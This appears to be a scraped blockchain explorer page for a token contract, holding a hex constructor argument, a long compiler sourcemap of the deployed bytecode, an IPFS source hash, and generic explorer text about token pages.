Arg [6] : 4d41430000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5128:8417:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6452:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2690:64;;;;;;;;;;-1:-1:-1;2690:64:0;;2744:7;762:51:1;;750:2;735:18;2690:64:0;616:203:1;8396:254:0;;;;;;;;;;-1:-1:-1;8396:254:0;;;;;:::i;:::-;;:::i;:::-;;;1445:14:1;;1438:22;1420:41;;1408:2;1393:18;8396:254:0;1280:187:1;6776:117:0;;;;;;;;;;;;;:::i;:::-;;;1618:25:1;;;1606:2;1591:18;6776:117:0;1472:177:1;9512:416:0;;;;;;;;;;-1:-1:-1;9512:416:0;;;;;:::i;:::-;;:::i;6475:21::-;;;;;;;;;;-1:-1:-1;6475:21:0;;;;;;;;;;;2287:4:1;2275:17;;;2257:36;;2245:2;2230:18;6475:21:0;2115:184:1;12691:208:0;;;;;;;;;;-1:-1:-1;12691:208:0;;;;;:::i;:::-;;:::i;7153:291::-;;;;;;;;;;-1:-1:-1;7153:291:0;;;;;:::i;:::-;;:::i;6897:123::-;;;;;;;;;;-1:-1:-1;6897:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;6994:20:0;6966:12;6994:20;;;:8;:20;;;;;;;6897:123;6397:20;;;;;;;;;;;;;:::i;12905:218::-;;;;;;;;;;-1:-1:-1;12905:218:0;;;;;:::i;:::-;;:::i;7449:299::-;;;;;;;;;;-1:-1:-1;7449:299:0;;;;;:::i;:::-;;:::i;10082:150::-;;;;;;;;;;-1:-1:-1;10082:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;10198:19:0;;;10168:14;10198:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;10082:150;6452:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8396:254::-;8497:10;8468:12;8489:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8489:28:0;;;;;;;;;:37;;;8551:8;;8468:12;;8551:8;;8537:22;8533:44;;;8561:16;8570:6;8561:8;:16::i;:::-;8589:37;;1618:25:1;;;-1:-1:-1;;;;;8589:37:0;;;8598:10;;8589:37;;1606:2:1;1591:18;8589:37:0;;;;;;;;-1:-1:-1;8640:4:0;8396:254;;;;;:::o;6776:117::-;6829:4;6866:20;;;:8;:20;;;;6849:12;;:38;;:16;:38::i;:::-;6842:45;;6776:117;:::o;9512:416::-;9598:12;-1:-1:-1;;;;;9622:18:0;;;;;;:40;;-1:-1:-1;9644:4:0;;;;;-1:-1:-1;;;;;9644:4:0;:18;9622:40;9619:82;;;9664:4;:9;;-1:-1:-1;;;;;;9664:9:0;;-1:-1:-1;;;;;9664:9:0;;;;;;9619:82;;;9685:16;9692:4;9698:2;9685:5;:16::i;:::-;-1:-1:-1;;;;;9722:14:0;;;;;;:8;:14;;;;;;:26;;9741:6;9722:18;:26::i;:::-;-1:-1:-1;;;;;9705:14:0;;;;;;:8;:14;;;;;;;;:43;;;;9783:7;:13;;;;;9797:10;9783:25;;;;;;:37;;9813:6;9783:29;:37::i;:::-;-1:-1:-1;;;;;9755:13:0;;;;;;;:7;:13;;;;;;;;9769:10;9755:25;;;;;;;:65;;;;9842:12;;;;;:8;:12;;;;;:24;;9859:6;9842:16;:24::i;:::-;-1:-1:-1;;;;;9827:12:0;;;;;;;:8;:12;;;;;;;:39;;;;9878:26;;;;;;;;;;9897:6;1618:25:1;;1606:2;1591:18;;1472:177;9878:26:0;;;;;;;;-1:-1:-1;9918:4:0;9512:416;;;;;:::o;12691:208::-;12805:10;12779:4;12826:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;12826:28:0;;;;;;;;;;12779:4;;12796:75;;12817:7;;12826:44;;12859:10;12826:32;:44::i;:::-;12796:8;:75::i;:::-;-1:-1:-1;12889:4:0;12691:208;;;;:::o;7153:291::-;5099:5;;-1:-1:-1;;;;;5099:5:0;5085:10;:19;5077:28;;;;;;-1:-1:-1;;;;;7234:22:0;::::1;7226:71;;;::::0;-1:-1:-1;;;7226:71:0;;3536:2:1;7226:71:0::1;::::0;::::1;3518:21:1::0;3575:2;3555:18;;;3548:30;3614:34;3594:18;;;3587:62;-1:-1:-1;;;3665:18:1;;;3658:34;3709:19;;7226:71:0::1;;;;;;;;;7305:27;7315:8;7325:6;7305:8;:27::i;:::-;-1:-1:-1::0;;;;;7361:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;;:30:::1;::::0;7384:6;7361:22:::1;:30::i;:::-;-1:-1:-1::0;;;;;7340:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;:51;7414:12:::1;::::0;:24:::1;::::0;7431:6;7414:16:::1;:24::i;:::-;7399:12;:39:::0;-1:-1:-1;;7153:291:0:o;6397:20::-;;;;;;;:::i;12905:218::-;13024:10;12998:4;13045:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;13045:28:0;;;;;;;;;;12998:4;;13015:80;;13036:7;;13045:49;;13078:15;13045:32;:49::i;7449:299::-;7552:4;;7517:12;;-1:-1:-1;;;;;7546:10:0;;;7552:4;;;;;7546:10;;7538:34;;;;-1:-1:-1;;;7538:34:0;;3941:2:1;7538:34:0;;;3923:21:1;3980:2;3960:18;;;3953:30;-1:-1:-1;;;3999:18:1;;;3992:41;4050:18;;7538:34:0;3739:335:1;7538:34:0;7611:10;7602:20;;;;:8;:20;;;;;;:32;;7627:6;7602:24;:32::i;:::-;7588:10;7579:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;7656:12:0;;;;;;:24;;7673:6;7656:16;:24::i;:::-;-1:-1:-1;;;;;7641:12:0;;;;;;:8;:12;;;;;;;:39;;;;7692:32;;7701:10;;7692:32;;;;7717:6;1618:25:1;;1606:2;1591:18;;1472:177;8925:118:0;8988:11;;;;;;;;;-1:-1:-1;;;;;8988:11:0;-1:-1:-1;;;;;8981:31:0;;:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8973:5;:41;;-1:-1:-1;;;;;;8973:41:0;-1:-1:-1;;;;;8973:41:0;;;;;;;;;;9022:6;:15;8925:118::o;706:104::-;758:6;786:1;781;:6;;773:15;;;;;;799:5;803:1;799;:5;:::i;:::-;795:9;706:104;-1:-1:-1;;;706:104:0:o;10761:1265::-;11332:4;;-1:-1:-1;;;;;11325:11:0;;;11332:4;;;;;11325:11;;;:102;;-1:-1:-1;11406:5:0;;-1:-1:-1;;;;;11397:14:0;;;11406:5;;11397:14;:29;;;;-1:-1:-1;11422:4:0;;-1:-1:-1;;;;;11415:11:0;;;11422:4;;;;;11415:11;11397:29;11325:210;;;-1:-1:-1;11501:4:0;;-1:-1:-1;;;;;11494:11:0;;;11501:4;;;;;11494:11;:40;;;;-1:-1:-1;11528:6:0;;-1:-1:-1;;;;;11509:15:0;;;;;;:8;:15;;;;;;:25;;11494:40;11317:262;;;;-1:-1:-1;;;11317:262:0;;4799:2:1;11317:262:0;;;4781:21:1;4838:2;4818:18;;;4811:30;4877:28;4857:18;;;4850:56;4923:18;;11317:262:0;4597:350:1;11317:262:0;10761:1265;;:::o;324:104::-;376:6;395:5;399:1;395;:5;:::i;:::-;391:9;;420:1;415;:6;;407:15;;;;;13127:332;-1:-1:-1;;;;;13218:20:0;;13210:69;;;;-1:-1:-1;;;13210:69:0;;5287:2:1;13210:69:0;;;5269:21:1;5326:2;5306:18;;;5299:30;5365:34;5345:18;;;5338:62;-1:-1:-1;;;5416:18:1;;;5409:34;5460:19;;13210:69:0;5085:400:1;13210:69:0;-1:-1:-1;;;;;13298:21:0;;13290:68;;;;-1:-1:-1;;;13290:68:0;;5692:2:1;13290:68:0;;;5674:21:1;5731:2;5711:18;;;5704:30;5770:34;5750:18;;;5743:62;-1:-1:-1;;;5821:18:1;;;5814:32;5863:19;;13290:68:0;5490:398:1;13290:68:0;-1:-1:-1;;;;;13371:15:0;;;;;;;:7;:15;;;;;;;;:24;;;;;;;;;;;;;:33;;;13420;;1618:25:1;;;13420:33:0;;1591:18:1;13420:33:0;;;;;;;13127:332;;;:::o;10236:521::-;10628:5;:16;;-1:-1:-1;;;;;;10628:16:0;-1:-1:-1;;;;;10628:16:0;;;;;10663:27;10680:9;:7;10688:1;10680:9;:::i;:::-;10663:12;;;:16;:27::i;:::-;10648:12;:42;10718:33;10741:9;:7;10749:1;10741:9;:::i;:::-;-1:-1:-1;;;;;10718:18:0;;;;;;:8;:18;;;;;;;:22;:33::i;:::-;-1:-1:-1;;;;;10697:18:0;;;;;;;:8;:18;;;;;:54;;;;-1:-1:-1;10236:521:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;824:131::-;-1:-1:-1;;;;;899:31:1;;889:42;;879:70;;945:1;942;935:12;879:70;824:131;:::o;960:315::-;1028:6;1036;1089:2;1077:9;1068:7;1064:23;1060:32;1057:52;;;1105:1;1102;1095:12;1057:52;1144:9;1131:23;1163:31;1188:5;1163:31;:::i;:::-;1213:5;1265:2;1250:18;;;;1237:32;;-1:-1:-1;;;960:315:1:o;1654:456::-;1731:6;1739;1747;1800:2;1788:9;1779:7;1775:23;1771:32;1768:52;;;1816:1;1813;1806:12;1768:52;1855:9;1842:23;1874:31;1899:5;1874:31;:::i;:::-;1924:5;-1:-1:-1;1981:2:1;1966:18;;1953:32;1994:33;1953:32;1994:33;:::i;:::-;1654:456;;2046:7;;-1:-1:-1;;;2100:2:1;2085:18;;;;2072:32;;1654:456::o;2304:247::-;2363:6;2416:2;2404:9;2395:7;2391:23;2387:32;2384:52;;;2432:1;2429;2422:12;2384:52;2471:9;2458:23;2490:31;2515:5;2490:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:380::-;3028:1;3024:12;;;;3071;;;3092:61;;3146:4;3138:6;3134:17;3124:27;;3092:61;3199:2;3191:6;3188:14;3168:18;3165:38;3162:161;;;3245:10;3240:3;3236:20;3233:1;3226:31;3280:4;3277:1;3270:15;3308:4;3305:1;3298:15;3162:161;;2949:380;;;:::o;4079:251::-;4149:6;4202:2;4190:9;4181:7;4177:23;4173:32;4170:52;;;4218:1;4215;4208:12;4170:52;4250:9;4244:16;4269:31;4294:5;4269:31;:::i;4335:127::-;4396:10;4391:3;4387:20;4384:1;4377:31;4427:4;4424:1;4417:15;4451:4;4448:1;4441:15;4467:125;4507:4;4535:1;4532;4529:8;4526:34;;;4540:18;;:::i;:::-;-1:-1:-1;4577:9:1;;4467:125::o;4952:128::-;4992:3;5023:1;5019:6;5016:1;5013:13;5010:39;;;5029:18;;:::i;:::-;-1:-1:-1;5065:9:1;;4952:128::o;5893:168::-;5933:7;5999:1;5995;5991:6;5987:14;5984:1;5981:21;5976:1;5969:9;5962:17;5958:45;5955:71;;;6006:18;;:::i;:::-;-1:-1:-1;6046:9:1;;5893:168::o

Swarm Source

ipfs://cc36b82249205db7eaf5318e2d959fab5e573eca9036fcaffb3e9831297e386e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.